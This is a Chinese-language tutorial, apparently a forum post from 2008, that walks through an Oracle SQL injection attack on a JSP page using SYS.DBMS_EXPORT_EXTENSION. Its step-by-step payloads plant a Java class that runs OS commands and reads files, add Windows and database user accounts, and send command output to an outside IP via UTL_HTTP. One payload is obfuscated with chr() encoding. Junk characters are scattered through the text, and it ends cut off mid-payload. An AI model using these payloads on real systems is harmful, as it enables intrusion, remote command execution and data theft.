以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
) ~3 j6 X1 S# H8 N
8 ~. X, [8 j& w6 }. F0 ^ /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) , ]) _. c, A2 I8 q9 u
的形式即可。(用" 'a'|| "是为了让语句返回true值)
3 Q. b' K9 Q. U/ T语句有点长,可能要用post提交。 3 C' _9 J5 G k3 w" i) Y
以下是各个步骤:
: u# x' i) o; T$ f6 {4 Z* U1.创建包 ' m' }8 T* j8 t! L6 S
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
! L2 a" R! a/ r: q/xxx.jsp?id=1 and '1'<>'a'||( 2 ~! u8 y2 ^* t
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', r0 H/ P- |& O7 `
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
" Y4 @+ H% u" d+ b$ @7 B$ `* Anew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
0 F3 z9 {1 @7 G) {4 }}'''';END;'';END;--','SYS',0,'1',0) from dual
9 N8 O' i x* Q# [7 h1 W0 V E, X)
8 }! N1 ? X5 s' @. O4 w. n------------------------ , R$ T I8 G& q2 ^8 p2 ^
如果url有长度限制,可以把readFile()函数块去掉,即: : A' @- H/ G! w6 l u( ^7 R
/xxx.jsp?id=1 and '1'<>'a'||(
% m" c' l1 o+ Mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 Z* B/ k, C2 A! q2 l9 B0 B* ]7 Ycreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
$ y$ F$ n# V* P' H k# knew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}1 S4 i# J8 n. K; }3 n
}'''';END;'';END;--','SYS',0,'1',0) from dual & E& E, x! E0 E! ]
)
* _: H7 }# }# Y, j9 H5 H, g同时把后面步骤 提到的 对readFile()的处理语句去掉。 ! H# K+ S7 x7 |- O& F" M# c) z3 }# c6 v
------------------------------ ) d7 [" i0 g0 f3 \" k1 K$ C
2.赋Java权限
. _9 ?/ Z9 `8 [3 e/ R2 k) i" |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual5 N. [( D! Q- @! B. X
3.创建函数
% i# ^0 l4 ]0 _. l# eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 K9 {: T$ F2 D$ \# I2 t
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual2 `1 r$ r4 ~# ^3 N: X
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', Y0 e- g# s: x+ a1 L1 l- U
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual4 B; S9 ]8 }$ R, L' U5 T
4.赋public执行函数的权限
" o# ~: F- o6 }' x) X. dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
& A3 v& L0 S6 h: |" Y' G* Nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual7 t! L7 h8 j2 z& F H
5.测试上面的几步是否成功
) d$ S" l' Y$ V, z1 c9 G4 r/ v/ Tand '1'<>'11'||( # N: X5 c! u4 q8 v* B
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
$ l6 f# T2 [7 W+ j+ s)
1 J. r1 h3 ^4 u9 k! p7 land '1'<>(
* j1 d: i* U: J+ T' Aselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
% @% D- w& F# K)
- U. t( V) g, r- q9 s' E) @9 H' Q6.执行命令:
" a6 U: F0 ^8 R; P; i. p/xxx.jsp?id=1 and '1'<>(
7 C9 s" j4 E1 t# \' Y9 }* Fselect sys.LinxRunCMD('cmd /c net user linx /add') from dual - w: b( z9 X( T# W& [0 I
/ A5 W) E0 L: y5 V) ]0 ~. L/ J) [
) 1 g; W2 D2 _' R, T3 c
/xxx.jsp?id=1 and '1'<>( 9 `. k% M, }* ]8 _* w
select sys.LinxReadFile('c:/boot.ini') from dual
5 _5 |& J. y- _ ]8 P0 S; ]3 A$ V9 P9 d* q$ Y$ ?
), v. h. T5 H- d2 X" ~( Y
6 L6 v( `( z* R8 ?, d; m! ]2 q注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 * s7 f, ?, q2 U5 `- g5 }6 r: O! b! [1 i
如果要查看运行结果可以用 union :
2 T6 Z5 W5 R9 S& n, c; G0 T/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
9 k9 f% ?6 v4 C8 R或者UTL_HTTP.request(: ; y+ Q; ]7 C0 t/ H, a j
/xxx.jsp?id=1 and '1'<>( : i* b+ v$ ~$ z
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual2 H3 O5 K, ^2 j# l {0 X
)
0 l5 C* ]2 C* J) y/xxx.jsp?id=1 and '1'<>(
9 w$ A9 k. D, a& I5 m. R( _SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual' _2 p4 X7 k5 S& _. X8 ?
)
8 D# n9 t4 p% U8 l2 I# j# g注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。/ T' `! [' ~) T% ? y0 @5 `- R! o
--------------------
" Z! m3 ?/ { s( I" s9 O6.内部变化
: p* }: A4 c9 z$ J: a通过以下命令可以查看all_objects表达改变:
/ I$ C4 p) I6 y Sselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
: N, V& r2 P6 |% I. g* U7.删除我们创建的函数 , H% t* `; v- G$ W# `7 s
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''+ o# w0 `9 M* Y+ _
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
: W& w' I# J/ p$ S) a! ~==================================================== / w& i) e! Q) D! ?( y
全文结束。谨以此文赠与我的朋友。
) {" q0 j9 `: ?" j# v L4 \ m- qlinx
, O/ S' R5 C. k9 s124829445
# `( f" \/ ~! S% l2008.1.12
0 S y" f' P3 G, Y: m- zlinyujian@bjfu.edu.cn , [$ x1 ~1 i! h
====================================================================== ; N0 ?" W3 b: D; o9 ]5 q, r% [
测试漏洞的另一方法:
3 N& q9 G! t1 U: J7 a/ W6 [1 l' M创建oracle帐号:
\9 n% m1 V t+ K! [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', N* c+ ?9 Y$ ?6 D. x! E! n1 f
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
3 R3 G8 M1 P# Y' ^9 e) ]: J) `5 b) H即:
! l2 P' P0 N( Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
& D$ _4 q* ~4 d- \chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
9 [: O/ O. a. E7 e k8 @确定漏洞存在:
0 M3 y! l+ k- p) y1<>( / _1 A: q3 r- r% g! Q4 R& o" a
select user_id from all_users where username='LINXSQL'
, C2 J9 J8 S3 J6 m, E* u* n)
" v! v2 @; b% D给linxsql连接权限:
6 ]0 a+ M+ ]& K7 ^' X6 Vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 A/ e; _2 T. t3 z+ |$ b4 L/ Q CGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
4 H% [: q# f, Y& t9 S删除帐号: : k9 r4 x/ W' j/ t) S
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; G( e6 z1 G1 I. Q. [, G; { sdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
/ {5 K' x# l- h; w/ T a: e! O8 N====================== + K6 I7 T8 N; C
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
; ?) V7 d h$ B$ F6 G c5 I a4 z1.jsp?id=1 and '1'<>(
2 q4 B* x- K4 `2 x; j/ g- Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ i z/ |# W3 u: N! {" H& Y" Y
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual7 ^, M+ k. i' K+ \- T& ~9 ?7 ~
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
! v: x p- c( o9 B* Z8 V )
9 D5 r/ S& P2 w8 B( K6 h
5 B6 o4 K) e \% M6 r; ~% J
; p% }' m. n* A0 p7 M7 ?9 P9 N7 `/ _/ F+ v2 x9 {
|